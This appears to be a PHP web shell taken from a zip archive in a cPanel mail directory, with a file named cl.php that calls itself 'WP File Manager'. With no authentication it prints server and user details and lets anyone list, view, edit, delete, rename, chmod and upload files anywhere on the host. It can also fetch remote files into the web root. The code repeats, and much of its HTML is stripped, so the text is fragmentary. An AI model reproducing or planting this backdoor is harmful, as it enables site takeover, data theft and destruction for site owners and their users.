'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]ÛL@BBpeter@drsupernova.com/.metadatanu„[µü¤[calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c [addressbook] type VADDRESSBOOK protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book PK’&{]„N9³§Ë§Ëpeter@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
